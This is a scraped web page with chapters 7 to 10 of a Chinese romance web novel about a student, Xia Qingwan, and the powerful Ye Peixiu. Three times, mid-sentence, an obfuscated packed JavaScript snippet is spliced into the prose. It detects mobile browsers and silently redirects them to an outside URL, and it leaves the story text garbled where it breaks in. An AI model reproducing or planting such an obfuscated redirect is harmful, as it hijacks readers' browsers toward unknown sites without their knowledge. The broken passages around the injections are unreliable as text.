《沉沦晚棠》 7. 第 7 章 为期末考试,背考点背解析改论文,夏清晚熬了几个大夜,六月初考试周结束之后,她在家睡了个昏天暗地。 醒来之后,手机上好几通未接电话。 通通来自夏明州。 她回拨过去。 一接通,那边嘈杂的背景音就灌了进来,夏清晚把手机拿远了些,“哥?有事?” 她这声一出,那边更乱了些,几个男音七嘴八舌说些什么,过了片刻,手机似是才回到夏明州手中。 “妹妹!” 夏明州朗声喊她,“没别的事,让你过来玩玩。” “……你在应酬?” “不是,和几个朋友喝酒打牌。” “哦,”夏清晚道,“没别的事我就不去了,我刚睡醒,还有好多事要做。” “你不是已经考完了吗?还能有什么事?” 夏清晚失笑,“我要去帮奶奶拿药,还要帮奶奶取衣服,还要去书店,好多事呢。” 她声音清丽柔婉,认认真真一字一句讲自己的安排,夏明州听了,只觉自己这个妹妹乖得很,也就不再多说,“好好,那你忙。”说着想起什么,“哦对了,下周你嫂子生日派对,别忘了啊,准时出现。” “不会忘,礼物都买好啦。” “好。” 挂断电话,夏清晚洗了个澡,换了身儿衣服。 身为学生,期末考试这最大的一关已经过去,她心情几分轻快,顺手化了个淡妆。 整日素面朝天,偶尔装扮一下也不错。 收拾完下楼来,在侧厅翻了许久,却没找到写着裁缝铺地址的纸条。 上个月,梁奶奶打电话来,说上次提到的那个裁缝不错,选料手艺都是一流,而且很懂得老年人穿衣的需求,衣服上身很舒服,还说已经按照奶奶的尺码让给做了几套,过两周一齐去取就行。 那裁缝没有雇人,没有送上门的服务,奶奶平日又不出门,于是,拖拖拉拉没去取,这已经快过了一个月了。 喜奶奶见她翻箱倒柜,就问,“找什么呢?” 当时,奶奶顺手把地址和电话记到了纸上,让喜奶奶收着。夏清晚就比划着问她。 喜奶奶哎呦一声,“那天忙着做菜,一时没腾出手,过后就给忘了。” “老太太这会儿在睡午觉,要不等她老人家醒了问问她?” 这些琐事,奶奶一向是交给夏清晚和喜奶奶来做的,她老人家大概率根本没留意。 夏清晚拿出手机,点开微信里梁奶奶的对话框,指尖却迟迟没有落下。 人家梁奶奶好心好意给奶奶做了衣服,她们却把地址都给弄丢了,现在迟了这么久去取,还要现问人家地址。实在是有些不懂礼数。 正犹豫着,微信里冷不丁弹出条消息: 「叶先生:在做什么?」 夏清晚想起来,之前梁奶奶提过,这家裁缝铺正是叶先生带梁奶奶去的。 她回复: 「在家呢,我正好有事想麻烦你,不知道你方不方便?」 问叶先生总比问梁奶奶要好一些,而且他正巧发消息来,也不算是她唐突打扰。 夏清晚正要继续打字,他的电话就拨了进来。 夏清晚接起来,“叶先生。” 电话那头静了静,叶裴修轻笑说,“几天不见,我又变成叶先生了?” 之前明明说了以后叫他名字的。夏清晚脸上发烧,跟一旁的喜奶奶无声比划了一下,喜奶奶了然地走开去忙自己的事。 夏清晚紧走几步到窗前,“……我正好有事想麻烦你。” “你说。” 夏清晚就一五一十把事情告诉了他,末了还道歉说,“实在很不好意思,家里就我和喜奶奶顾着这些琐事,前阵子我忙期末考试,喜奶奶每天事情也很多,我们一时疏忽了。” 听完她这一长串,叶裴修只道,“你在家?” “嗯。” “我在附近,正好也有事想麻烦你,”叶裴修说,“我顺路送你过去。” 他说也有事要麻烦她,夏清晚总不好推辞,“……好,那麻烦你稍等我一下。” “不着急,”那边顿了一下,“你过二十分钟再出来。” 不是说在附近吗? 也许他手上还有事要忙,夏清晚说,“好,我也不急,你忙完了慢慢开车,路上小心。” 挂断电话,夏清晚把这事儿讲给喜奶奶,让她宽心。 喜奶奶道,“那就好,那就好,我下次一定多注意。” 左右也是干等着,夏清晚就在侧厅坐着闲看书。 等了十多分钟,夏清晚决定出去迎一迎,在大院门口跟他汇合,也省得他还要过岗哨。 午后太阳大,夏清晚上楼拿了副墨镜,跟喜奶奶说了一声就出门了。 从家到大院门口要走十分钟,她走到半路,估摸着时间差不多了,就拿出手机,想给叶裴修发条信息让他在大院门口停就好,还没打字,就听到汽车鸣笛的声音。 大院里禁止鸣笛。 她下意识抬头看。 隔着一道矮矮的铁栅栏,对向车道上一辆奥迪停了下来,是叶先生的车。 副驾驶车窗降下,她把墨镜推到头顶,弯身通过副驾驶车窗往里看,驾驶座的叶裴修弯身跟她说,“就在那儿等我。” 夏清晚点点头。 她以手遮眉,望着叶先生的车开到前面栅栏尽头,调头过来,徐徐开到她身边。 上车系好安全带,夏清晚扭头看他,想说,“麻烦你了。”话还没说出口,两人视线相对,叶裴修轻轻笑了一下,她莫名觉得脸上发热,一时讷讷,连要说的话也忘了。 “冷不冷?温度要不要调高一点?” “不冷。” 她说。 叶裴修半开玩笑,“最好是实话,车程挺长的,冻感冒了我可不负责。” 这人……总是连客套的空间都不留给她。 “……那就调高两度吧。” “我要开车,自己摁。” 夏清晚找到空调控制面板,摁了两下,调到27度。 她收回手的时候,叶裴修偏头看了她一眼,“穿的这件衣服?” 她身上穿着正好是他和梁奶奶上次带来的那袭绿裙,“嗯,感觉很衬这个天气,就穿了这件。” “心情不错?感觉比之前几次见你要轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15887351|176429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松一点。” 夏清晚惊讶,小声说,“这都能看出来?” 转过一道弯,车子往南行驶,叶裴修伸手把她那边遮阳板放下来,笑说,“所以是什么事让你心情这么好?” “期末考试考完啦,我大睡了一觉,”夏清晚说,“七月份之前都是自由时间,想想就心情好。” “考试很难?” “倒不是难,就是要背的东西很多,”她扳着指头数,数古代文学那些华丽繁复的词汇词义,“背的我头昏脑涨。” 叶裴修从她一串词汇中挑了一个,问什么意思。 夏清晚解释给他听,末了,问,“你学的什么专业?” “政治经济。” 叶裴修漫不经心说,“挺无聊的。” 夏清晚也挺好奇,问这个专业学些什么。 两个人间,没有谁的话掉地上过。 真怪。 平日里,即便是跟哥哥夏明州或者朋友时小雨在一块时,夏清晚都不是多话的人,她自己都没察觉,跟一个大她八岁的叶先生,竟然会有这么多话要讲。 不大会儿,到了目的地。 之前一直听梁奶奶说裁缝、裁缝铺,夏清晚就下意识以为是个开在老胡同的经年店铺,没成想,却是开在上京最繁华的东三环闹市区。 周围高楼大厦林立,玻璃幕墙反射着刺眼的光。 在地下停车场停了车,叶裴修带她上了电梯。 电梯上行到一楼,呼啦啦进来很多人。 正逢暑假,上京游客很多,景点和闹市区都变得比平日更拥挤,夏清晚往后退,叶裴修就圈着她的手腕把她带到了自己身后。 人却像是源源不断似的,还在往轿厢里挤,大约是被挤到了,叶裴修也不耐烦起来,干脆转过身,面向她,一手撑在她头顶上方护着。 夏清晚连呼吸都屏住了,完全不敢抬头,只低着眼睛看他的西裤和皮鞋。 这样看着,视线不由自主又接触到他腰胯的线条,他没系皮带,西裤裤腰极合身,双腿笔直修长,白衬衫里面的腰腹稍稍凹陷,劲瘦。 在叶裴修的视线里,也不知是不是轿厢顶灯的缘故,她整个人白得发光,两条细瘦修长的胳膊往后贴着轿厢,单看那张脸,其实是美艳的长相,只不过她神情气质总是疏离,所以给人以清冷感。 娇艳的脸蛋儿,配以清冷的气质,凝神时还有股沉静的书卷气,杀伤力太强,让人心痒。 那长长的折扇一样的睫毛好半晌都没动一动。 不知在发什么呆。 “想什么呢?” 头顶响起这道低低的声音,夏清晚下意识抬起头。 视线相对,叶裴修眼睫半垂,黑眸深沉,一眨不眨看着她。 夏清晚的脸蛋儿腾得红了,她喉咙发紧说不出话,怔怔地与他对看了好一会儿才摇摇头。 “叮。” 电梯到了四层,乌泱乌泱下了大半数人。 叶裴修突然觉得,还是人多点好。 他收回手臂,转过身,抬手扯松了领口。 夏清晚站在他背后,无声捂住脸,轻拍了拍面颊。 脸上还是发烫。 8. 第 8 章 裁缝铺在次顶层,面积很大,站在门口乍一看,不像定制服装店,倒像是宋韵的茶室。 浅褐色调,罗马帘低垂,午后的阳光经此一滤,唯落下浅淡的光影。 中厅横着一张长桌,大肚窄口瓷瓶里插着一枝横斜蜿蜒的桃枝,旁边一套茶具,除此之外,别无他物。 简洁典雅。 一个穿着宋锦短衫的老太太从侧边推拉门里走出来,慈眉善目的笑脸,“叶先生,请坐下喝杯茶。” 话没说完就看到夏清晚,眼睛一亮,说,“这是上个月赶出的那件裙子?” 夏清晚点点头,笑说,“谢谢您,穿着很舒服。” “您贵姓?” “免贵姓夏。” 大约是自己的作品被穿在合适的人身上,老太太上上下下仔细欣赏了她一番,转而问叶裴修,“叶先生,今儿是来?” 叶裴修在圈椅上坐下来,“我奶奶上次让你做的几套衣服,今儿过来取。” “好,”老太太马上反应过来,“是夏小姐跟我来拿?” “对。” 夏清晚跟过去。 老太太带着她进了侧门。 里头窸窸窣窣传来低低的交谈声。 叶裴修接了个电话。 电话那头是王敬梓,“我看着阿姨把园子里打扫完了,那我就走了啊?” “嗯,你忙你的。” 那边王敬梓意味深长地问,“刚才看你走得匆忙,是有什么急事吗?需不需要我过去?” 叶裴修本来闲坐在园子池塘边看书喂鱼,给夏清晚打了通电话之后,他拿起车钥匙就走,原本带着清洁阿姨过来的王敬梓就被撂在了那里。 叶裴修笑骂他一句,“明知故问?” 王敬梓也笑起来,“看你心情不错我就放心了。” 挂断电话,叶裴修闭目养神。 新官上任,这阵子工作多的如山倒,他每天只睡五个小时。 今儿周末,生物钟使然也早早就起来了,健身洗澡喂鱼看书,心却静不下来。 “叶裴修。” 他睁开眼转头看过去。 夏清晚手里提着袋子,好像有点歉意,走过来在他身边低声说,“你等久了吗?吴奶奶顺便给我量了尺寸,就耽误了些时间。” 吴奶奶笑说,“夏小姐一叠声说不需要给她做衣服,我就想着先留个尺寸,待改日有合适的料子再说。” “劳你费心,有合适的尽管给她做,知会我一声,我派人来取。” “好好。” 下楼上车,叶裴修问,“还要去哪儿?” “还要去趟中医院,医生照药方配了药给奶奶,”夏清晚系上安全带,问,“会不会太麻烦你?” “顺路。” 叶裴修已经打转方向盘,驶出地下车库。 “哦对,你原本说也有事需要我帮忙,是什么事啊?” 叶裴修想了一下,“不是大事,却也只能问你,”过了个路口,他才继续道,“我有个表妹,过两个月要来京大念书,她爱热闹,最怕没朋友,央求我介绍几个朋友给她。” “好呀,我没问题。” “这么爽快?”叶裴修看她一眼,“看你平时是喜静不喜动的样子,还以为你会嫌麻烦推辞。” “旁人我可能会拒绝,但是您……你帮过我很多次,于情于理我都应该回报一点。” 回报。 “我怎么不知道我帮过你什么?” “上次你帮我解围,请我吃饭,”夏清晚一件一件数着说,“今天还麻烦你亲自送我一趟。” “是吗?”叶裴修轻笑了一下,喜怒莫辨,“那改天我若是帮你更大的忙,你打算怎么回报我?” 夏清晚感觉到他好像有点不高兴,拼命思索,也想不出到底是哪一句惹到他了。 她偏过头去,没再吭声。 此后一路无话。 到中医院取了药,叶裴修把她送回大院,她让他在大门口停就好,叶裴修也没多说什么,只道,“注意安全。” 她下了车,道,“谢谢你跑这一趟送我,还有,等你有空,把我的微信推给你表妹就好,我会跟她联系。” “嗯。” 叶裴修带了把方向盘,车子丝滑驶远。 夏清晚提着两个袋子,慢吞吞往大院里头走。 她百思不得其解,到底是哪句话出了差错? 真若细究起来,也并不是叶先生刚刚摆了什么脸色,而是他这个人自有一种喜怒莫辨的莫测气质,又看似沉稳随和不形于色,反而更让人紧张发怵。 - 又一个周末。 王敬梓照例带打扫阿姨来园子。 按照习惯,叶裴修这会儿应该刚起床,也许正在浴室冲澡,王敬梓特意嘱咐阿姨,先不往浴室去,先打扫外面院子。 拉开落地窗窗帘,却见穿着浴袍的叶裴修正坐在池塘边圈椅上,一手撑着额角,半睡半醒的模样。旁边矮几上倒着一个空酒瓶。 晨光熹微,照着圈椅上他的背影,却显得冷寂孤远。 王敬梓走过去,绕到他面前,低声,“叶总?裴修?” 叶裴修没睁眼,问,“几点了。” 声音里有几分残酒未消的沙哑。 “七点半。” 王敬梓道,“你不会没睡觉吧?熬夜喝酒?” “鸟叫声把我吵醒了。” “我把打扫阿姨带来了。” 王敬梓说,“我先去熬个醒酒汤吧,你要不要去睡会儿?我去把卧室窗户关上。” “甭管我。” 他说着站起身往卧室去。 王敬梓跟着叶裴修许多年了,本职是他的秘书兼司机,偶尔也帮着他处理些日常生活上的琐事。 毫不夸张地说,叶裴修的家人朋友,都只能够接触到他的某几个片面,唯有王敬梓能了解到他工作生活甚至居家的甚多侧面,王敬梓应该是这世界上最了解他的人。 可即便如此,有些时候,就像眼下,王敬梓也自认为,他并不了解叶裴修。 叶裴修工作严格务实,私下面对下属多很随和,和朋友聚会酒宴时,是公子哥的散漫派头,面对叶家或者梁奶奶,温润孝顺。 可这些解构,好像都不是真实的他。 真实的他,喜怒无常,兴味阑珊。 熬醒酒汤时,王敬梓冥思苦想。 把事情一件一件往前倒,最后落脚到—— 难不成叶裴修和夏小姐之间闹了点不愉快? 王敬梓认为不至于。叶裴修处事有度,对待下属尚且抓大放小有张有弛,不至于跟一个小姑娘较真。 端着一小瓷碗醒酒汤,王敬梓来到客厅,就见叶裴修已经洗过澡换了身衣服,白衣黑裤坐在沙发上看书。 黑白分明,清新儒雅。 王敬梓把瓷碗递给他。 叶裴修没抬眼,接过来三两下喝完,递还给他,抬了抬手,没精打采地说,“把窗帘拉上一层,阳光太刺眼。” 王敬梓拉上一层半透光的白纱帘,室内顿时阴凉了些许。 静静等待那阴凉尘埃落定,气氛也像是随之平缓下来了,王敬梓才闲聊似的说,“夏小姐什么时候过来听唱片?” 他知道,虽然面儿上不显,叶裴修这会儿实则很没有耐性,不喜旁人兜着圈子说话。 他话音落,过了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15887352|176429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足足三五秒,叶裴修才说,“怎么,你很想见她?” 这话谁敢接啊? 王敬梓噤声。 过片刻,眼见叶裴修撂了书,捏了捏鼻梁,他才又故作松快地笑笑,说,“我还以为,上周末你们见面,你会提起这件事。” 叶裴修撩起眼皮看他一眼,冷笑,“那算哪门子见面?” 不过是他上赶着,抓住机会假借名义而已。 还真是因为这事儿啊? 王敬梓联想起上周末他打完电话,抓起车钥匙出门的架势,这前后的反差,也不由觉得有趣。 想也合理,叶裴修自然有世家公子哥的傲气,那夏小姐性子又冷淡,两人三两句没说到一起去,也是有的。 “夏小姐为人客气礼貌,如果有哪句话没说好,应该也不是有意得罪你。” 叶裴修抬眸看他一眼,那意思是:还用得着你说? 他怎么会不理解她呢。 她家教严,跟旁人说话总是柔和而疏离,那样的身世,小时候一个人被寄养在南方,好不容易回到上京来,奶奶又是个严厉的性子,她对人防备心重、时时刻刻要跟人划清界限,也是理所应当。 幸而还能跟他好好说几句话,回报也罢,报答也罢,最起码是有来有回的。 如此三番两次试图说服自己,却是徒劳。 王敬梓宽慰了他几句,叶裴修没再多说。 清洁阿姨打扫完毕,王敬梓带着人离开。 不大会儿,梁心吾打来电话。 “裴修,下午三点你来接我吗?” “去哪儿?” 他声线低平,听起来兴致缺缺。 “你夏奶奶家呀,你忘啦?上次约好说今天去。” 电话那头好半晌没出声,梁心吾疑惑,“裴修?你是不是有事情要忙?我自己打车去也可以。” “……”叶裴修终于出声,“三点我去接您。” 才六月中旬,天气却热得要命。 一坐上车,梁心吾就说,“今年天气真怪啊,又潮又热,我在上京一辈子了,都没见过这样高的湿度。” 叶裴修没搭话。 梁心吾拿手机点了几下屏幕,说,“你看,有网友说,上京的天气越来越像南方了。真是苦夏啊。” 苦夏。 溽热气闷。 到了夏家老宅,梁心吾熟门熟路去侧厅和夏惠卿聊天,叶裴修则一个人坐在客厅。 喜奶奶给他端上茶水,又奉上杂志书籍,叶裴修随手翻了翻。 夏惠卿从侧厅走出来几步,问喜奶奶,“清晚呢?” 喜奶奶答,“小姐说困了,大概是去睡觉了。” 梁心吾在侧厅喊,“别叫她了,大夏天的,小孩儿都贪睡,让她睡吧。” 叶裴修默默听着,一言不发继续翻杂志。 不大会儿,却觉闷得慌,放下杂志起身,在前院廊下站了片刻,又回到室内,穿过门廊,发现楼梯后有一道开向后院的玻璃门。 他推开一扇,走出来,面前豁然开朗,小小一个后院,绿意盎然。 灼目日光下,几株合欢树楸树撑开如盖的绿荫,个个树干粗大,看起来都有些年头了。 最中间合欢树树荫下放着一张贵妃榻,身穿吊带裙的夏清晚半趴在上面,腰间横着一条盖毯,长发拢肩,脸蛋儿侧枕着手臂,另一手臂自然下垂,不知是睡着还是醒着。 恬静清幽,像克罗耶笔下的油画。 吊带裙露肤度很高,半趴着的缘故,身体曲线起伏,娇艳之余,更有一种让人为之屏息的清婉幽长。 苦夏的潮和暑在此消融。 只有携着合欢花花香的清风。 9. 第 9 章 夏清晚半梦半醒,以为自己是做了梦,隔着耀眼的日光,叶裴修站在后门廊下,双手插兜身姿落拓,似是在看她。 迷蒙中,她只觉他赏心悦目。 他确实是个赏心悦目的男人。 举手投足高贵儒雅,沉稳随和,自有一种波澜不惊的气度。 视线再度变得昏茫,过了不知多久,喜奶奶过来叫醒她,让她回房间里睡。 “方才梁老太太和那位叶先生来过了,叶先生看到你在这儿睡觉,让我来叫你,”喜奶奶扳着她上下查看,“没有被蚊子咬吧?” “没有。” 夏清晚清醒过来,“叶先生到后院来了?” “我看他在廊下站了一会儿,今天他们没多待,梁老太太坐一坐就走了。” 夏清晚低眼笑了笑,轻叹,“真难得,奶奶和梁奶奶感情这么要好。” “是呀,这么多年,几乎每一两个月都要来一趟。你不知道,咱们家最困难的那几年,梁老太太还时不时过来看呢,那时候她腿脚还利索,每次都是瞒着自家人开车过来,但是一来就忍不住掉眼泪。” 夏西里和夏老爷子先后去世之后,那几年夏家的艰难,夏清晚也有所耳闻,如若不是形势凶险,夏惠卿也断断不会让自己的亲孙女寄养在南方。 喜奶奶说着想起来,“可惜接下来一阵子见不到了。” “怎么了?” “哎哟,睡迷糊啦?老太太要去南方娘家妹妹家住两个月,你忘啦?” 哦对。 刚睡醒,脑子还有点迷糊,忘了上午还帮奶奶收拾行李来着。 喜奶奶说起这茬就忍不住感叹,“那位叶先生还说,如果需要的话,他会帮忙照看咱们家里,我听了都觉得稀罕呢,难得他那样的家世,还这么平易近人。” “……什么样的家世?很了不得?” 夏清晚有点茫茫然,笑着打趣。 “叶家呀,傻姑娘,你真是两耳不闻窗外事,”喜奶奶笑着戳戳她脑门儿,压低声音说,“你也不想想,上次明州提起叶家,老太太为什么呵斥他让他不要说了?” 夏清晚当时一心只有期末考试,满脑子各种名词释义训诂,完全没有听进夏明州说的话。 眼下经喜奶奶这样提示,震惊之中,这才把那传说中的叶家和叶裴修其人联系起来。 他竟出自钟鸣鼎食几代厚禄的叶家? 算一算年纪,他正是那位传闻中位高权重甚至极难见上一面的叶家长孙。 “我去准备晚饭了。” 喜奶奶说。 “好。” 夏清晚回到房间,换衣服的时候接到哥哥夏明州的电话。 “清晚,出发了吗?用不用去接你?” “在换衣服了,马上就出发,不用接我,我打车过去就行。” “好好,”正说着,就有人走过来寒暄,夏明州道,“那我先招呼客人了。” 挂了电话,夏清晚下楼跟奶奶和喜奶奶说了声,随即出门打车奔赴派对。 今天是林向榆21岁生日,夏明州在酒吧街包了场为她开庆生派对。 夏明州甚至比林向榆本人还要看重这场派对,把所有有交情的有头有脸的人物都请来了,为了让她有面子。 夏清晚赶到酒吧,看到上次在北官房胡同见过的几个大小姐,正百无聊赖地坐在卡座里点歌。 她在人堆里找到林向榆,打招呼,送上自己带的礼物。 “生日快乐,向榆姐。” 林向榆比她高一些,揉一揉她的头发,“谢谢清晚。” “我哥呢?” “招呼客人呢吧,自来到酒吧就没看到他的鬼影。” 正说着,遥遥地传来夏明州的一声喊,“向榆,过来打个招呼。” “来了。” 林向榆应了声,对夏清晚说,“你先坐,待会儿我来找你说话。” 夏清晚点点头。 一楼大厅人声嘈杂,几个大小姐围着两个男模,笑闹尖叫着戳他们的腹肌。 夏清晚要了一杯无酒精饮料,站在吧台边慢慢啜着。 不知是谁点了首早年的摇滚乐,嘶哑苍老的男音徐徐低吟。 她知道这个歌手,和她爸爸夏西里活跃在一个年代。 她低下眼,默默听。 副歌部分,嘶哑的男音骤然高亢,夏清晚心里一麻,这时候忽然有人闪到面前,“嘿,夏清晚。” 她抬起头。 来人是夏明州的朋友,乔映煊,他的妹妹乔映雪在中影读编导,兄妹俩都生就一幅好皮囊,脾气都比寻常的世家小姐子弟还要跋扈上几分。 夏清晚点点头权当打招呼了。 乔映煊要了杯酒,边喝边笑看她,“怎么不去跟她们玩?” “我跟她们都不熟。” “玩了不就熟了。”乔映煊笑道,“我带你去?给你介绍介绍。” “谢谢,但是不用了。” “哦对了,下个月我生日,来玩啊。” 乔映煊说。 “我下个月不在上京,去不了,抱歉。” “出去玩啊?去哪儿啊?” “不是,是院里组织的田野调查。” “下乡啊,”乔映煊笑意更深,“你真是个好学生。”眼神上下逡巡看她,点评道,“与众不同。” 夏清晚放下酒杯,“我去洗手间了。” 说完转身就走。 走出没几步,她猛然记起来,上次夏明州打电话给她,旁边叽叽喳喳起哄的男音里,就有乔映煊。 他声调偏高,京腔特别浓,很有辨识度。 不止是乔映煊,夏明州那些公子哥朋友,十有八九总撺掇着让他把妹妹叫出来玩玩。 背地里那些议论和窥探的只言片语,也曾偶尔传到夏清晚耳朵里。 不过,她有自己的路要走,其他事情都与她无关,她也不会放在心上。 洗手间宽大明亮,夏清晚在隔间里发呆。 不大会儿,听到一阵欢笑声涌进来,女孩子的高跟鞋哒哒哒近了,“诶,明州的妹妹来了,你们看见没?” “她也来了?我没看见。” “你二哥还巴巴跑过去跟她说话呢,人家一个笑脸都没给,笑死我了。” “我二哥?!” 乔映雪惊讶,“呸,我二哥不会看上她了吧?” “那可说不准,前几天我还听到他们几个男的在一起聊她呢,看那样子,个个眼馋得要命。” “俗!” 乔映雪带着嫌恶的口气说,“这些男的真是又俗又贱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15887353|176429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,平时那么多往上扑的女人他们瞧不上,见着个拿腔拿调的,装清纯高傲的,个个就跟见了稀世珍宝似的,腆着脸往上贴。” 这话引得其他人哈哈大笑。 有人说,“可不就是。”“也不嫌掉价。” 几个人大概是在补妆,夏清晚能听到喷雾的呲呲声。 又听到有人提起,“诶,我听到一个小道消息。” “别搞神秘,有什么就快说。” “叶先生有情况。”声音压低了些许,“我听说,前阵子,他带了个女生去吃饭,有说有笑的。” “什么样的女生?多大年纪的?” “好像是个大学生,据说,长得非常非常漂亮,而且非常有气质。” 有人不知是不服,还是有意挑事儿,道,“比映雪还漂亮?我可不信。” “哈哈哈,映雪也就算个小美女,那个女生好像是个难得一见的美人呢。” “闭嘴吧!” 乔映雪生起气来,“有完没完了你们?叶先生玩个女大学生,跟我有什么关系?别扯上我,小心我撕你们的嘴。” 有小跟班一叠声哄她,几个人三三两两散了。 等到重归寂静,夏清晚才推开隔间门。 走过去要洗手,却看到乔映雪正靠在洗手台另一头的化妆桌上,低着头恨恨地点手机屏幕。 听到声响,乔映雪抬起头。 她想到方才的话大概都被听了去,脸上蓦地一阵红一阵白,骂道,“有病吧你,躲在这儿偷听别人说话?” “什么话?” 夏清晚淡淡地说。 “你敢说你没听见?”乔映雪站直了身子,怒气冲冲走过来,指着她说,“你给我小心点!敢出去胡说八道,看我怎么收拾你。” 夏清晚不想为这些琐事耗费精神,本不欲和她计较,奈何乔映雪步步紧逼,非要她低头赔礼道歉。 她头往后仰了仰,避开乔映雪的手指,静静看着她的眼睛,说,“我对你们的闲言碎语没有兴趣,也没兴趣去传播八卦,你有功夫在这和我耗着,不如想一想,方才,你们说话时,是哪个人把话题引到你身上的?” 这话让乔映雪愣住了。 夏清晚拂开她的手,经过她走出去。 - 林向榆和夏明州都被人群围着,不好接近,夏清晚给他们各发了一条消息,便打车回了家。 那一夜,翻来覆去无法入眠。 她早该想到的,一个男人,在27岁的年纪,便拥有如此沉稳松弛的气度,必不是出自寻常的家世。 寻常这个年纪的男人,刚毕业三五年,要么是为未来疲于奔命,要么是已修炼出世故圆滑的本领,若不是自小锦衣玉食众星捧月,无论如何,也难以如此清风朗月从容不迫。 这时候仔细回想,才意识到,自她来上京这两年里,她早已无数次听人说起过叶先生。 奶奶和喜奶奶不经意间聊起过,夏明州林向榆说起过,夏明州身旁那些公子哥大小姐,都窸窸窣窣议论过。 她确实如喜奶奶所说的,两耳不闻窗外事,对于这些闲聊八卦,每次都是左耳进右耳出,完全没往心里去过。 此时认真一琢磨,只言片语逐渐重叠,如当头一棒。 叶先生不是她该接触的人。 10. 第 10 章 六月下旬,夏惠卿动身前往南方妹妹家。 临行前,她嘱咐喜奶奶和夏清晚互相照应,如果真有什么要紧事,就给梁奶奶打电话。 喜奶奶说,“放心吧,我和清晚都有分寸。” 夏惠卿打开车门,又回身要嘱咐什么,喜奶奶就笑着把她推进车里,说,“老太太,你就放宽心吧,即使有什么事要联系梁老太太,我们也会注意着,不让家里其他人知道。” “对你们俩我当然放心,”夏惠卿道,“清晚,吃饭要准时,晚上不要睡太晚,七月去做项目时,跟我说一声。” “好。” 送走夏惠卿,一回到屋里,喜奶奶就长出了一口气。 夏清晚忍不住笑起来。 喜奶奶也笑,“小丫头,说出来不怕你笑话,老太太这一走,我着实松一口气,能松快几天。” 夏惠卿严格自律,平日里,连带着喜奶奶也战战兢兢,片刻不敢放松。 “我早说让老太太再雇个年轻点的姑娘来,我这把老骨头,很多家务事都干不动了。哎,岁月不饶人啊。” “你陪奶奶这么多年了,知道她的喜好习惯,体贴入微,奶奶当然不愿意换人了,”夏清晚笑说,“等过几年我毕业了,再跟奶奶商量商量雇个人来,到时候你就跟奶奶一起在家养老,好不好?” 一席话让喜奶奶心里熨帖又温暖,不由笑眯眯地望她,满目都是慈爱。 - 喜奶奶放松下来,夏清晚却开始忙碌。收拾行李收集资料,为下个月的田野调查做准备。 这天正在卧室看书的时候,接到一个陌生的电话。 她以为是骚扰电话,直接摁了拒接,对方却又拨了过来。 她这才接起,“喂?哪位?” 那边是个中年男音,“清晚。” 夏清晚听出来,是她大伯夏长平。 “大伯,您找我有事吗?” “老太太走了几天了?”没等她回答,夏长平又说,“你自己在家过得还惯吗?” “我挺好的,多谢大伯关心。” “那什么,晚上你过来一趟,我有话问你。” 语气不容商量,只是下达通知。 夏清晚意识到,大伯夏长平是趁着奶奶不在京,要把她叫过去问些事情。这样的事以前发生过一次,奶奶去旅游的时候,夏长平把她叫过去,问问奶奶的生活起居、日常交际。 这次如出一辙。 “……好。” “八点,你来北官房胡同。” “我知道了。” 话音还没落地,那边就挂了电话。 夏清晚低下脸,眨了眨眼,紧抿着唇,尽量不让心绪起任何波动。 大伯夏长平和姑姑夏长柳都讨厌她。 那种厌恶不加掩饰,她当然能够察觉。 刚来上京时,她不明就里,还为此哭过一次。 喜奶奶上楼来哄她睡觉,细细跟她讲了原委,安抚她,让她不要往心里去。 夏老爷子和夏惠卿偏爱小儿子,资源、爱意、注意力,全部倾注给了小儿子,自然让大儿子大女儿暗自心生怨恨。 夏西里和家里闹掰时,夏长平和夏长柳着实看了好一阵乐子,日日开香槟庆祝,庆祝老爷子老太太最爱的小儿子成了窝囊废。 后来,夏西里不幸意外身故,夏长平和夏长柳本来心有戚戚,毕竟是亲生弟弟,不可能一丁点感情都没有。 可两人的同情和悲伤还没酝酿落地,夏老爷子和夏惠卿就都一病不起了,夏老爷子更是很快撒手人寰。 葬礼之后,夏长平和夏长柳聚在一起,红着眼睛怒骂道,“死了一个夏西里,他老人家也跟着不活了?我们不是他的孩子?我们算什么?他妈的到底算什么?” 因为有着先前的同情和悲伤,于是,这卷土重来的恨意更加彻骨。 这滔天的仇恨自然转嫁到了夏清晚身上。 整个夏家,除了始作俑者,只有喜奶奶知道,当初夏清晚小小年纪被寄养在南方,不得被接回上京,正是因为夏长平和夏长柳从中阻挠。 即便那时时局不稳,风雨飘摇,可夏清晚还那么小,夏惠卿怎么能忍心把她丢下不管? 是夏长平在老宅和夏惠卿吵架,掀桌子摔碗,软硬兼施,硬逼得夏惠卿把这事儿撂了下来。那时夏惠卿大病初愈,经此一吵,又病了好几年。 那些难熬的日子,都是喜奶奶陪伴在侧,煎药煮汤,一点一滴服侍过来的。 